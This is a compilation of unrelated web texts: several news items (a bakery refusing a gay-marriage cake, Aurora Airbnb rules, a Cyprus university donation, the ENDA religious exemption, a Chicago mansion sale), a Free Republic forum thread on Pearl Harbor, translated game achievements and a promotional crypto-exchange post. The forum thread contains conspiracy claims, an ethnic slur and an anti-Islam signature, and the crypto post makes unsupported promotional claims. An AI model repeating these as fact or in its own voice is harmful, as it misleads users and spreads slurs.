Sunday Life: “The wording we requested was ‘Gay marriage rocks! Happy engagement, Andy and Joe! Lots of love xxx’. We were thrilled when Ashers accepted our online order, and full payment of £23.40 plus £20 P&P, but the next day they sent the cancellation note and a refund. “My gut instinct told me the cake was refused because it celebrated gay marriage.” To prove her point, Grainne then ordered a christening cake for her goddaughter Leila. “Ashers couldn’t have been happier to make that cake,” she said. “A woman from the company even offered to drive it to its destination in Dublin as a favour, because she was going that way. “This was terribly kind, but I felt angry and sad that Ashers’ attitude to gay people is so different.” Grainne managed to get a cake for her friends from a London bakery. Joe said: “Thank God I live in London, where I can’t imagine something like this happening. “I’m staggered that Ashers wouldn’t make the cake, but I’m glad that Londoncakes.com supplied it — the cake was delicious and made with love.” Londoncakes.com owner Graham Brooks said: “Obviously, if someone wanted a racist cake for an English Defence League meeting, we’d say no, but I don’t have the right to judge others’ views unless they’re illegal.” Grainne said: “In my view, by turning away business based on the sexual orientation of the consumer they risk being sued again. “My friends and I don’t want to sue — Andy and Joe want to focus on their forthcoming happy day — but others might want to take action.” Sunday Life contacted Ashers, but it refused to comment. However, on the ‘build a cake’ section of its website the company outlines its terms and conditions. It does not mention its stance on gay marriage, but states that people must not send content or images which contain any “threatening, defamatory, blasphemous or pornographic material”. Also on the banned list are images and content portraying “any kind of child abuse, or are racially offensive or abusive of any religion, or likely to incite hatred against any person or group, or are otherwise criminal or offensive in the minds of reasonable people, or are obscene or menacing or harassing in any way, or breach any applicable law”. Belfast Telegraph Digital -AURORA | New rules being considered by Aurora City Council governing short-term rentals like Airbnb are proving controversial with some homeowners who use those services. Beyond requiring a business license and collection of the city’s lodger’s tax, a measure awaiting council would also require homeowners renting their home via Airbnb to occupy 75 percent or more of a home — effectively banning any whole-home rentals. One of the more than 120 Airbnb operators in Aurora was frustrated at the possibility of the new rule passing. “It strikes me as (a) blatant disregard to my freedom of privacy,” said Paul, an Aurora resident who rents out part of his home using Airbnb and did not want to give his last name. “I should be able to let whoever I want to stay at my house stay freely without having to worry about city ordinances.” Trevor Vaughn, manager of the city’s tax and licensing division, said other home-based businesses in the city must follow that requirement. Aurora officials say the measure would not apply to rentals longer than 30 days. Those rentals are only required to be reported on a landlord’s tax returns. Aurora’s Finance Department estimates there are between 120 and 170 Airbnb-style businesses in Aurora at any given time, and that 25 percent advertise their entire home for rent. City staff also estimate top-performing renters make between $15,000 and $48,000 in sales annually. City officials say Aurora could make between $3,000 and $6,000 per year if these businesses were required to pay the city’s 8-percent lodger’s tax. The measure would require all vacation rental hosts with an Aurora address to apply for a $38 Aurora business license and collect an 8-percent lodger’s tax from each guest they host. Last year, Gary Wheat, President of Aurora’s tourism site Visit Aurora, said the city generated $7.5 million in lodger’s tax revenues. About 12.5 percent of the city’s lodger’s tax goes to Visit Aurora, while the rest goes into Aurora’s general fund. He said the city’s lodger’s tax has grown 20 percent over the last three years, with the addition of new hotels such as the Hyatt Regency this year and Woolley’s Classic Suites last year. He said though the city has seen increases in lodger’s tax, it is still affected by Airbnb, especially when there are numerous listings. “If we have 120 listings for Airbnb, that would equate to about 120 rooms. That would be an additional hotel,” he said. “Recommending the collection of lodger’s tax, it creates a level playing field for our hotels.” Wheat said that by regulating Airbnb homes in Aurora, Visit Aurora could also begin working with the homeowners to promote them alongside local hotels. “This allows Aurora to bring the Airbnb brand into our marketing system. They can get those quality visitors who come through our website,” he said. “They are one of our Aurora lodging partners. That’s why going forward, this is something that will enhance the homeowners’ experience as well.” Bob LeGare, an at-large Aurora councilman and member of the Aurora City Council’s Planning and Economic Development Policy Committee, said the measure is also a way to protect the quality of life of Aurora residents. “There are a lot of things you can’t use your house for that would be very lucrative for the owners,” he said. “The reality is we’re talking about a house becoming a hotel. I think there’s an impact there. The people that live next door to future hotels think it’s impactful to have potential people coming and living next door to them.” He said that putting some restrictions on Airbnb rentals would also help the city ease a near zero-vacancy rental market. “Every single one of those homeowners that wants a daily rental, any one could lease their house in a matter of days to a qualified occupant at a rent rate that’s historical,” he said. Aurora officials are also looking to require residents to include a business license number as part of their Airbnb listing, or for the company to collect the tax at the point of sale. According to city documents, Airbnb may be willing to collect the tax, but city officials say the company will not share data that is necessary for enforcement. Last November, the city issued its first vacation rental business license to Saurabh Chawla, an active Airbnb host who was barred from renting out his home after a neighbor complained about the amount of people frequently coming in and out of his east Aurora home. Vaughn said five homes have been licensed for short-term rentals since then, but that the city has not been actively seeking out homeowners who use Airbnb and requiring them to obtain business licenses. Denver City Council considered a similar measure this month and gave initial approval to a proposal that would allow short-term vacation rentals only in a resident’s primary home and not a second home, according to The Denver Post. The measure is scheduled to be discussed at the June 6 Aurora City Council study session. -Skip to comments. Roosevelt Years (Serb that warned Hoover on possible attack on Pearl Harbour) Posted on by kronos77 The British double agent Dusko Popov, who reputedly inspired Ian Fleming’s creation of James Bond, was approached by the Germans to become their spy. Popov did so, but reported everything he did to the British. When the Germans sent Popov to set up a large spy ring in the U.S., he was asked to gather some very provocative information for the Japanese. The Japanese request, called the "Japanese questionnaire," involved a lot of extremely specific information about Hawaii and Pearl Harbor. British Intelligence and Popov came to the conclusion in August of 1941 that the Japanese were preparing an invasion of the United States at Pearl Harbor. The FBI was very unfriendly to Popov. Hoover disliked double agents, especially wealthy playboys like Popov who showed up at Hoover’s favorite New York City nightclub, the Stork Club. Hoover added the "Japanese questionnaire" to other evidence he had that the Japanese were very interested in Hawaii, but he did nothing with the information from Popov or other sources. Gentry claims that it is possible that with the thousands of reports that the Bureau received, it was difficult to determine which ones were legitimate. "Still, it is difficult to explain that Hoover...didn’t warn the president that two German agents had been ordered to study the defenses of Pearl Harbor for the Japanese, and that the last had been told it was ‘of the highest priority,’ indicating that a time factor was involved." (Excerpt) Read more at crimelibrary.com ... TOPICS: Foreign Affairs KEYWORDS: fdr history hoover jamesbond pearharbour pearlharbor spy wwii To: joan; Smartass; zagor-te-nej; Lion in Winter; Honorary Serb; jb6; Incorrigible; DTA; ma bell; ... by 2 posted onby kronos77 (-www.savekosovo.org- and -www.kosovo.net- Save Kosovo from Islam!) To: marblehead17 ping by 3 posted onby marblehead17 (I love it when a plan comes together.) To: kronos77 Well, Pearl Harbor was but one of multiple spears hurled South by the Japanese in December 1941. To: marblehead17 They don't show pictures of Dusko Popov. He's not as handsome as Sean Connery. Dusko Popov by 5 posted onby Stepan12 (Mark Steyn: "We are all spaniards now.") To: Stepan12; tgambill >>>>>>They don't show pictures of Dusko Popov. He's not as handsome as Sean Connery.<<<<<< Nor he was very bright either. Popov did not figure out that FDR is fully aware that Japs will attack Pearl Harbor. Pearl Harbor was no surprise - it was allowed to happen with full knowledge of FDR, as doccuments released after WWII show. by 6 posted onby DTA (Mr. President, Condy is asleep at the wheel !) To: DTA "...Pearl Harbor was no surprise - it was allowed to happen with full knowledge of FDR..." Citation needed. by 7 posted onby Eclectica (Ask your MD about Evolution. Please!) To: kronos77 I've always thought that Roosevelt knew that Pearl Harbor was coming. As an old navy guy, he probably thought the battleships could withstand the attack; he had the carriers moved out of the way. To: DTA Pearl Harbor was no surprise - it was allowed to happen with full knowledge of FDR, as documents released after WWII show.<<< Bingo!..we have a winner!....Now...something that has always bothered me about that, is the fact that despite the American peoples reluctance to enter the war (polls of that time were as much as 70+% against) had we not entered the war at that time...we would all be speaking German on this thread.....Is there such a thing as a Shadow Government?? To: Stepan12 but he looks more believable by 10 posted onby ThanhPhero (di hanh huong den La Vang) To: kronos77 The Popov-Hoover-FDR link has been in the historical background for at least 40 years. I first read about it in the late 1960’s/early 1970s while building up my private library on insurgent/counter insurgent operations. The problem that Popov faced with Hoover was two fold. First, he had a demonstrated history of “turning”. While common in most of the world, Americans, even today, have a hard time dealing with people who switch sides. Second, Popov had a criminal background. Hoover who had completely revamped the FBI less than 20 years earlier wasn’t going to deal with any one who had a criminal record unless he (Hoover) controlled him. The in-born (in-bread?) American prejudice against people who change sides and have a criminal history hurt us in 1941 and continue to hurt us today. Will we ever learn? by 11 posted onby Nip (SPECTRE - taking out the enemy one terrorist at a time; at night; without warning or mercy) To: Eclectica by 12 posted onby DTA (Mr. President, Condy is asleep at the wheel !) To: DTA History is not completely overturned over because one person wrote a book as Robert Stinnett has done with his Day Of Deceit. Look, yes, the info and intercepts were there, but no one person had it all in one place to put it all together that the Japs were going to hit Pearl. Consider this, if FDR did know about the attack and wanted to let it happen, what about the following? In the hours before dawn, U.S. Navy vessels spotted an unidentified submarine periscope near the entrance to Pearl Harbor. It was attacked and reported sunk by the destroyer USS Ward (DD-139) and a patrol plane. At 7:00 a.m., an alert operator of an Army radar station at Opana spotted the approaching first wave of the attack force. The officers to whom those reports were relayed did not consider them significant enough to take action. The report of the submarine sinking was handled slowly awaiting the request for further confirmation, and the radar sighting was passed off as an approaching group of American B-17s due to arrive that morning. Now, did FDR order the Navy to slow down the Ward's attack report or the Army to disregard the radar reports? Of course not! It was a long, long trail of many errors that gave the Japs their success at Pearl Harbor, but in the long run their sinking and damaging all the battleship there made it clear the aircraft carrier would win or lose the Pacific war. The Japs' carriers didn't, our did. I am not a Roosevelt fan, but no US President... With the possible exception of Bill Clinton... would allow an attack on the US if he knew about it before hand. by 13 posted onby Bender2 (Algore himself is an inconvenient truth...) To: kronos77 Ah, Serbs, is there anything they can't do? To: PAR35 FDR was just one of the boys, owned by Mandel House, Morgan, DuPont, et al. Col Mandel House, was described in Woodrow Wilson's own diary as his "Alter Ego".... You are however, absolutely correct....They did move the carriers because the "planners" knew that the carriers would be needed for the war they instigated...and have been instigating since WWI. by 15 posted onby tgambill (I would like to comment.....) To: M-cubed There is absolutely a Shadow Government that has been running things as far back, as you don't want to know. I've been studing this over the past 8 years and only recently have come to understand how it is organized and how it has functioned over the generations. It's an amazing agenda and using very complex strategy. The Shadow Government does exist and works through the CFC and RIIA, for starters............ by 16 posted onby tgambill (I would like to comment.....) To: Bender2 no US President... With the possible exception of Bill Clinton... would allow an attack on the US if he knew about it before hand.<< Citation needed... To: ozzymandus >>>>Ah, Serbs, is there anything they can't do?<<<< Sure there is. When Nikola Tesla started working for Edison, Edison promised Tesla 50,000 dollars, which is about one million dollars in today's term, if he would make inventions for him. Tesla did, and then when he asked for his payment Edison laughed and told him that he "did not understand our American sense of humor". Dusko Popov also did not understand American sense of humor and he did not figure out that Edgar J. Hoover was perhaps the biggest American joke of the 20th century. by 18 posted onby DTA (Mr. President, Condy is asleep at the wheel !) To: M-cubed Re My: "no US President... With the possible exception of Bill Clinton... would allow an attack on the US if he knew about it before hand.<< " Your: "Citation needed..." If anything needs to be certified, it is your sanity to believe any US President... Again with the possible exception of Bill Clinton... would allow an attack on the US if he knew about it before hand. by 19 posted onby Bender2 (Algore himself is an inconvenient truth...) To: DTA You may choose to start digging from here: And you, here: http://www.answers.com/topic/pearl-harbor-advance-knowledge-debate We knew that attacks could come at Midway or Pearl. Evidence shows that FDR may have never seen more indicative reports. Author Stinnett had a book to write, which reads like a kind of "grassy knoll", designed to make money. At Pearl, we weren't altogether asleep: a mini-sub was sunk earlier that morning, and they were known to be launched from submarines. I'd call it Denial. BTW: I've traveled via the SS Lurline. by 20 posted onby Eclectica (Ask your MD about Evolution. Please!) Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works. FreeRepublic , LLC, PO BOX 9771, FRESNO, CA 93794 FreeRepublic.com is powered by software copyright 2000-2008 John Robinson -Nickname # Original Translation 1 弾幕アマノジャク 全てのシーンをクリアした！ おめでとう！ もう君に避けられない弾幕は無い！ ボタンを押すとコングラッチュレーション画面が出るよ Danmaku Amanojaku All scenes cleared! Congratulations! There's no danmaku you can't avoid! Hit the button to see the congratulations screen. 2 ひよっこアマノジャク ５シーンクリアした まだまだ始まったばかりだ Fledgling Amanojaku 5 scenes cleared. You've only just started. 3 慣れてきたアマノジャク １０シーンクリアした アイテムの使い方が判ってきた頃だろうか Experienced Amanojaku 10 scenes cleared. You're figuring out the items now, right? 4 一人前アマノジャク ２０シーンクリアした ようやく一人前ってところかな Full-Fledged Amanojaku 20 scenes cleared. Have you finally come into your own? 5 無敵のアマノジャク ３０シーンクリアした 使いやすいアイテムばっか使ってないかい？ Invincible Amanojaku 30 scenes cleared. You're not just using the easy-to-use items, are you? 6 不滅のアマノジャク ４０シーンクリアした ようやく折り返し地点 ここからが長いぞ Indestructible Amanojaku 40 scenes cleared. You've finally reached the turning point. It's a long way to go from here. 7 伝説のアマノジャク ５０シーンクリアした やるねぇ、もう上級者といっても 過言では無いぞ Legendary Amanojaku 50 scenes cleared. Way to go. It's not an exaggeration to say you're an advanced player, now. 8 神話のアマノジャク ６０シーンクリアした あと一息だ！ ここで諦めても誰も責めないけどね Mythical Amanojaku 60 scenes cleared. Just a bit more! Nobody would blame you if you quit here, though. 9 全てを敵に回した天邪鬼 ８－１をクリアした 彼女には仲間なんか要らなかったんだ 全てに敵対してこそ、真のアマノジャクだ Amanojaku, Enemy of All Clear 8-1. She has no need for friends. In fact, hostility towards everyone is the mark of a real amanojaku. 10 逃げ切ったアマノジャク 最終日のシーンをクリアした よくここまで来たね もうゴールしてもいいし、しなくてもいい Escapee Amanojaku Cleared a scene from the final day. You've come a long way, huh? It's okay to cross the finish line, and it's okay if you don't. 11 はじめてのアマノジャク １日目、シーン１をクリアした これがクリア出来ないと始まらない First Amanojaku Cleared 1st Day, Scene 1. If you can't clear this, you can't start. 12 新たなアイテム使い 新しいアイテムを手に入れた 六種類のアイテムを使いこなせ New Item User Received new items. Master the six types of items. 13 ミラクル不思議道具使い 全てのアイテムを手に入れた アイテムが増えてかえって面倒くさくなったかな？ 世の中、えてしてこんなもんです Miraculous, Mysterious Tool User Received all items. Having all these items is actually kind of annoying, isn't it? So it goes in this world we live in. 14 おや、片手が空いていた サブ装備が使えるようになった これで苦手だった道具もブーストできる？ Hey, You've Got a Free Hand Became able to use sub-equipment. Can you use this to boost the items you're bad with? 15 そろそろお茶でも プレイ時間が１時間を超えたよ 結構疲れたでしょ？ 他のゲームと違って 弾幕避けのプレイ時間密度は非常に濃いのです How About Some Tea Passed 1 hour of play time. You're pretty tired, aren't you? Unlike other games, the play time in danmaku dodging is quite densely packed. 16 ドライアイにご注意 プレイ時間が５時間を越えたよ メニュー画面やポーズ画面は時間に入らないから ５時間は結構長いんだよねー Watch Out For Dry Eyes Passed 5 hours of play time. Time on the menu and pause screens doesn't count, so 5 hours is a pretty long time! 17 悟りでも開けるよ プレイ時間が１０時間を超えたよ ここまで遊んでくれて有難う もうゴールしてもいいよ！ Achieve Enlightenment! Passed 10 hours of play time. Thank you for playing for so long. It's okay to cross the finish line! 18 もう痛みを感じない ミス回数が１００を超えたよ 君はもう、彼女を殺す事に痛みを覚えない I Don't Feel Pain Anymore Passed 100 total deaths. You don't recognize the pain of killing her anymore. 19 もしかして、快感？ ミス回数が２００を超えたよ だんだんと快感になってきてないかい？ まあ、それもまた良しだ。まだ社会復帰は出来る Could This Be Pleasure? Passed 200 total deaths. Is this starting to feel good for you? Well, that's okay. You can still be reintegrated into society. 20 彼女の屍を超えてゆけ [1] ミス回数が３００を超えたよ ここまで痛み付けたからにはもう後戻りは出来ない 君は責任持って全てクリアしたまえ Over Her Dead Body Passed 300 total deaths. Now that you've caused this much pain, there's no going back. Take responsibility and clear everything. 21 初日マスター １日目をオールクリアした まあ、この位はね First Day Master 1st day all clear. Well, this level's not too bad. 22 ２日目マスター ２日目オールクリア 順番にクリアしているのだとしたら どこかで行き詰まるかもよ 2nd Day Master 2nd day all clear. If you're clearing them in order, you might get stuck somewhere. 23 ３日目マスター ３日目オールクリア 急に難しくなった？ 気のせいか 3rd Day Master 3rd day all clear. Did it get tougher all of a sudden? Maybe it's your imagination. 24 ４日目マスター ４日目オールクリア そろそろ慣れてきたね この辺はもう楽勝かな 4th Day Master 4th day all clear. Now you're getting used to it. This is still the easy stuff. 25 ５日目マスター ５日目オールクリア 使い道がよく判らないアイテムもあるかな？ 気にしなくても良い 5th Day Master 5th day all clear. You have some items whose purpose isn't really clear, huh? You don't have to worry about them. 26 ６日目マスター ６日目オールクリア ところで、アイテム使用無しでクリアすると 全てのアイテムがクリア済みになるって知ってた？ 6th Day Master 6th day all clear. By the way, did you know that if you clear a scene without using items, it counts as a clear for all items? 27 ７日目マスター ７日目オールクリア 人間ばっか！ 何か人間の方が反則チックだよねぇ 7th Day Master 7th day all clear. It's all humans on this day! Humans somehow seem more cheat-ey, don't they? 28 ８日目マスター ８日目オールクリア ここまで律儀に順番通りクリアしてきている人は 不器用だけど誠実な人だと想像します 8th Day Master 8th day all clear. In my imagination, those of you who have been faithfully following the order up to this point are awkward but earnest people. 29 ９日目マスター ９日目オールクリア よく頑張りました もうあと一息です（最終日を残していると仮定して） 9th Day Master 9th day all clear. Well done. You've only got a bit more to go (assuming you saved the final day until now). 30 最終日マスター 最終日オールクリア 素晴らしい！ あんたはエライ！ Last Day Master Last day all clear. Spectacular! You're amazing! 31 おひらりさん ひらり布を使って３シーンクリアした ひらひひらりと躱しましてー Miss Nimble Cleared 3 scenes using the Nimble Cloth. Evade flutteringly~ 32 カメラ小僧 天狗のトイカメラを使って３シーンクリアした まだまだひよっこカメラマン Camera Kid Cleared 3 scenes using the Tengu's Toy Camera. You're still just a fledgling cameraman. 33 仕舞いっぱなしの傘 隙間の折りたたみ傘を使って３シーンクリアした 雨が降っても大丈夫 Closed Umbrella Cleared 3 scenes using the Gap Folding Umbrella. You'll be fine even if it rains. 34 とおりすがりの亡霊さん 亡霊の送り提灯を使って３シーンクリアした 影が薄くなってきたね A Passing Spirit Cleared 3 scenes using the Ghastly Send-Off Lantern. You don't have a lot of presence, huh? 35 たま使い 血に餓えた陰陽玉を使って３シーンクリアした ボス目の前に現れる快感たるや…… Ball User Cleared 3 scenes using the Bloodthirsty Yin-Yang Orb. Popping out right in front of the boss's face feels nice... 36 手持ち花火 四尺マジックボムを使って３シーンクリアした 花火の真ん中は危険です Handheld Fireworks Cleared 3 scenes using the Four-Foot Magic Bomb. Being in the middle of fireworks is dangerous. 37 お地蔵さん 身代わり地蔵を使って３シーンクリアした 当たっても良いって精神的にらくちんだね Ojizou-san Cleared 3 scenes using the Substitute Jizou. Knowing it's okay even if you get hit is mentally relaxing. 38 お人形屋さん 呪いのデコイ人形を使って３シーンクリアした 一見可愛いようだが、実は凄いんです Doll Shop Owner Cleared 3 scenes using the Cursed Decoy Doll. At first glance, it looks cute, but it's actually amazing. 39 物理で殴れ 打ち出の小槌を使って３シーンクリアした 先手必勝だ！ レベルを上げなくても物理で殴れ！ Strike Physically Cleared 3 scenes using the Miracle Mallet. Victory goes to the swift! Even if you don't raise your level, strike physically! [2] 40 反則嫌い アイテムを使用せずに３シーンクリアした ま、当たらなければ反則アイテムを使う必要もないね Cheat Hater Cleared 3 scenes without using items. Well, if you don't get hit, there's no need to use cheat items. 41 ひらりスター ひらり布を使って１０シーンクリアした 華麗にかわす姿はまるでマタドール？ Nimble-ster Cleared 10 scenes using the Nimble Cloth. Does dodging so neatly make you look like a matador? 42 カメラ大人 天狗のトイカメラを使って１０シーンクリアした 少し成長したよ、でもカメラはトイカメラ Camera Adult Cleared 10 scenes using the Tengu's Toy Camera. You've grown up a little! But the camera is still a toy. 43 お気に入りの傘 隙間の折りたたみ傘を使って１０シーンクリアした お気に入りの傘は雨が降っても使わない Favorite Umbrella Cleared 10 scenes using the Gap Folding Umbrella. Even if it's raining, you wouldn't use your favorite umbrella. 44 もしかして生霊さん？ 亡霊の送り提灯を使って１０シーンクリアした 亡霊の方が気楽そうでいいなぁ Perhaps a Vengeful Spirit? Cleared 10 scenes using the Ghastly Send-Off Lantern. Being a ghost seems like more fun, huh? 45 たま職人 血に餓えた陰陽玉を使って１０シーンクリアした 玉の質量と主人公の質量が同じなのだと推測される Ball Craftsman Cleared 10 scenes using the Bloodthirsty Yin-Yang Orb. There's a theory that the ball's weight and the protagonist's weight are the same. 46 スターマインさん 四尺マジックボムを使って１０シーンクリアした 花火の魅力は映像より音だよね Miss Starmine Cleared 10 scenes using the Four-Foot Magic Bomb. The attraction of fireworks is more in the sound than the sight, huh? 47 地蔵菩薩 身代わり地蔵を使って１０シーンクリアした 当たる度に地蔵の顔が険しくなる気がする Ksitigarbha Cleared 10 scenes using the Substitute Jizou. It feels like the jizou's face gets more stern every time you get hit. 48 人形蒐集家 呪いのデコイ人形を使って１０シーンクリアした 人形って呪われやすいから気を付けよう Doll Collector Cleared 10 scenes using the Cursed Decoy Doll. Dolls are easily cursed, so be careful. 49 ピコピコハンマー 打ち出の小槌を使って１０シーンクリアした ピコピコハンマーにはまだ改良の余地があると思う Pikopiko Hammer Cleared 10 scenes using the Miracle Mallet. I think there's still room for improvement in the Pikopiko Hammer's design. 50 正々堂々屋さん アイテムを使用せずに１０シーンクリアした 正々堂々って、ある意味ひねくれてないかい？ Fair Player Cleared 10 scenes without using items. If you always play above-board, isn't that kind of twisted in its own way? 51 ひらりマスター ひらり布を使って２０シーンクリアした 布の上を弾幕が通過する感覚はどうなのかな Nimble Master Cleared 20 scenes using the Nimble Cloth. I wonder how it feels when danmaku flies over the cloth. 52 カメラ紳士 天狗のトイカメラを使って２０シーンクリアした 一億総勢携帯カメラマン時代 カメラは紳士的に使いましょう Camera Gentleman Cleared 20 scenes using the Tengu's Toy Camera. A generation of a hundred million cell phone cameramen. Let's use them in a gentlemanly way. 53 傘ハウス 隙間の折りたたみ傘を使って２０シーンクリアした 傘が溜り過ぎちゃってる家とかあるよねー Umbrella House Cleared 20 scenes using the Gap Folding Umbrella. There's some houses where they've got too many umbrellas piled up. 54 りっぱな霊体 亡霊の送り提灯を使って２０シーンクリアした 霊体って憧れるよねー 最近腰や肩が痛くてさー Splendid Spirit Body Cleared 20 scenes using the Ghastly Send-Off Lantern. I'd love to have a spirit body... My back and shoulders have been hurting lately... 55 たま仙人 血に餓えた陰陽玉を使って２０シーンクリアした 陰陽玉って平面的なデザインだよね 割ってみるとどうなってるのやら Ball Hermit Cleared 20 scenes using the Bloodthirsty Yin-Yang Orb. The yin-yang orb has kind of a flat design, huh? I wonder what would happen if you split it. 56 クレイジーボマー 四尺マジックボムを使って２０シーンクリアした 花火って一発勝負だからロマンあるね 人混みが嫌いで花火大会に行くのはちょっとアレだけど Crazy Bomber Cleared 20 scenes using the Four-Foot Magic Bomb. Fireworks are an all-in-one-shot thing, so they're pretty appealing. Although I don't like crowds, so going to a fireworks festival is kind of... 57 まさに地蔵の様な人 身代わり地蔵を使って２０シーンクリアした いくら喰らっても平然と構える心の出来た人 Just Like A Jizou Cleared 20 scenes using the Substitute Jizou. A person who can stay cool, no matter how great the pressure. 58 人形原型師 呪いのデコイ人形を使って２０シーンクリアした 呪いの人形だって作った人が居るんだぞー Doll Prototyper Cleared 20 scenes using the Cursed Decoy Doll. Even a cursed doll has a maker, you know! 59 小槌でスマッシュ！ 打ち出の小槌を使って２０シーンクリアした この小槌……魔力も何もただの普通の武器なんじゃ…… Mallet Smash! Cleared 20 scenes using the Miracle Mallet. This mallet... isn't magic or anything, it's just an ordinary weapon... -AN anonymous donation of €400,000 to the University of Cyprus (UCY) will be given to the student welfare association. Half the donation will be distributed to students within 2013 and the other half within 2014, UCY said. “This noble and generous gesture shows a high sense of social responsibility,” a statement said. It added that the particular donor said it was the duty of each Cypriot “to enhance our children’s education so we can hope for a better future for our country.” The current financial situation in Cyprus has led to a substantial increase in the number of students who are facing financial difficulties and have applied to the student welfare association for help. “The number of students who have applied for financial help during the current academic year has exceeded 800,” the announcement said. It went on to thank the donor for his or her generosity as it would help many students continue their studies. “Without this donation, the students would have had to, at least temporarily, stop studying because of their financial problems,” the announcement said. The university’s rector Constantinos Christofides said: “The university is really blessed and proud to have people like the donor as a loyal friend, who selflessly offers support. The University of Cyprus’ motto is that no student should have to stop studying because of the economic crisis.” -WASHINGTON — The American Civil Liberties Union and several LGBT legal organizations said Thursday that a key religious exemption in new legislation banning anti-LGBT job discrimination "undermines the core goal" of the bill and should be removed. In a statement released Thursday morning, the ACLU, Lambda Legal, National Center for Lesbian Rights, and Transgender Law Center state they "stand united in expressing very grave concerns with the religious exemption" to the bill, the Employment Non-Discrimination Act. Although the groups say they strongly support the underlying legislation, their decision to release a statement warning of "very grave concerns" with the religious exemption on the day of ENDA's reintroduction in the House and Senate certainly puts a damper on efforts to ramp up early support for the bill. In the past, it's primarily been religious groups criticizing the religious exemption language, and the language has been made more broad over time in order to blunt opposition to the bill from religious groups. Now, it appears, some on the left are ready to fight back. Lambda Legal attorney Greg Nevins, who has litigated some of the group's employment discrimination cases in the past, talked with BuzzFeed about the religious exemption. "In Title VII, there's an exemption for certain religious-affiliated entities that says that they can basically engage in religious discrimination but they cannot engage in race, color, sex, or national origin discrimination. The words [religious-affiliated entities] have been sometimes interpreted very broadly," Nevins explained, noting, "For instance, a Presbyterian hospital might in some jurisdictions be considered to qualify, which is decidedly different than saying a church or a convent can do these things." The religious exemption in ENDA "would say that sexual orientation and gender identity discrimination are not actionable against those entities as defined in Title VII," he added. "It would be setting up a two-tiered system saying that race, color, sex, and national origin discrimination cannot be engaged in by one of these entities, but sexual orientation and gender identity discrimination can," Nevins said. In the statement, the groups warn the religious exemption "gives a stamp of legitimacy to LGBT discrimination that our civil rights laws have never given to discrimination based on an individual's race, sex, national origin, age, or disability." For some time now, the ACLU has expressed concerns that the religious exemptions in legislation to ban LGBT job discrimination were too broad, but this is the first time they've laid down a marker on such concerns so early in the legislative process. It also is the first time they've been joined early in the process by several LGBT legal groups — Lambda Legal, National Center for Lesbian Rights and Transgender Law Center — in raising the concerns. Those LGBT organizations — along with Gay & Lesbian Advocates & Defenders — had described their concerns with the provision in October 2007. Although the ACLU and LGBT legal groups are pressing for a more narrow religious exemption, religiously affiliated organizations have raised their own concerns about the impact of passage of ENDA on religious liberty. The National Religious Broadcasters warned in 2012 that ENDA "would assault the constitutional rights of faith-based organizations and lead to a 'chilling effect' in religious communities." The group's senior vice president and general counsel, Craig Parshall, testified against the bill before the Senate Health, Education, Labor and Pensions Committee in June 2012. Peter Sprigg from the Family Research Council went further, recently writing that there might not be a religious exemption broad enough to meet with his approval. Writing for CNN, Sprigg stated, "Although ENDA contains a limited 'religious exemption,' there remain serious questions as to whether any exemption would be adequate to meet the concerns of people with religious and moral scruples against homosexual conduct." [Update: The article was updated to include prior comments from the LGBT legal groups expressing concerns about the religious exemption. 4/25/13.] -What are Superconducting Transactions? Aphelion is looking to change the game with crypto asset trading. With superconducting transactions on the NEO platform as its keys to success. When reviewing the landscape and history of crypto exchanges, one will see a landscape full of hacks, unexpected shutdowns and seizures. With hackers and thieves consistently targeting these exchanges, as well their users, centralized exchanges have proven to be a massive single point of failure for cryptocurrency. Decentralized solutions are needed for decentralized cryptocurrency. Superconducting transactions and Aphelion on the NEO blockchain are the gateway to this paradise. They are the key to unlock the potential of cryptocurrency and allow us, the users, to instantly exchange currency P2P on our terms and without the need for centralized exchanges to facilitate the transaction. What is a Superconducting Transaction In simple terms, this is the ability for two users to exchange cryptocurrency from different blockchains in a completely trustless manner via smart contract. Each user agrees to terms before the transaction, then both use private keys to sign a copy of the transaction itself. The exchange is performed instantly, with no transaction fees and removes the need for a centralized party or exchange service to complete the transfer on behalf of the buyer/seller. This allows a user holding NEO to exchange with another user for APH, as an example. NEO has built this ability into their platform calling this process superconducting transactions (more can be read in the NEO white paper section 8.1 ). Aphelion and Superconducting Transactions With the introduction of DEAL (Decentralized Exchange Asset Ledger), Aphelion is designing tokenized transactions using smart contracts on the NEO blockchain bypassing the need for centralized exchanges. Leveraging NEO’s superconducting transactions, this allows Aphelion to process exchanges P2P for any token they decide to support. Meaning, those with the highest trading volume can be traded directly using the Aphelion protocol from day one. Utilizing the NEO blockchain and the dBFT algorithm, the challenges faced by Bitcoin and Ethereum’s PoW and subsequent PoS technologies are solved for. This allows Aphelion to be an Eco-friendly, open source and completely decentralized digital asset application. Users can transact a DEAL P2P for any coin, regardless of which blockchain it resides, decentralized and free of the threats centralized exchanges inherently carry. No need to place deposits on a server while allowing users to control their private keys at all times. Why NEO One clear advantage of Aphelion on the NEO blockchain is speed of transaction. Atomic swaps are being added to DEX’s on the Ethereum blockchain. Those DEX projects are already being met with traffic jams and network congestion. In contrast, the NEO blockchain, in its current form, supports up to 10,000 transactions per second versus Ethereum’s 20. There are plans to scale Ethereum, however NEO’s advancements hold the clear upper hand. NEO provides any DEX platform with a blockchain that is not congested and has bandwidth large enough to support heavy trading. While Aphelion will launch their own ux/ui, being an open source project they encourage the development of new and custom ux/ui’s. This will allow others to build and design different interfaces to maximize the end-user experience leveraging the Aphelion protocol. Aphelion is unique in this sense, not only will Aphelion build and design a superior ui/ux, they encourage their community to build their own custom off chain interface. This results in a huge win for traders – we get choice. Built on the NEO blockchain and leveraging superconducting transactions, Aphelion is launching the first DEX platform built for all coins. One that can support the heaviest trading traffic while being open source, allowing new and custom interfaces. A welcome addition to the crypto-trading community. Instant, secure and truly decentralized, Aphelion is a game changer. One that will change the way in which you buy and sell your coins, freeing us from the centralized exchanges and countless threats our cryptocurrency experience. Control is placed back into our hands, providing you and I with a decentralized exchange for our decentralized crypto. Follow us: Telegram: https://t.me/apheliontoken Reddit: https://www.reddit.com/r/APH/ Twitter: https://twitter.com/AphelionToken FB: https://www.facebook.com/apheliontoken/ -LINCOLN PARK — One of Chicago's most expensive homes has sold. A 14,000-square-foot mansion, 1955 N. Burling St., sold Tuesday for more than $13.3 million, according to Crain's, which first reported the news. That makes it the second-highest price paid for a Chicago home this year, Crain's reports. An associate of filmmaker George Lucas paid the highest price for a Chicago home this year, spending $18.75 million on a Park Tower condo. The asking price for the seven-bedroom Burling Street mansion, which covers five city lots, was $16.9 million. Some of the home's amenities include a six-car garage, 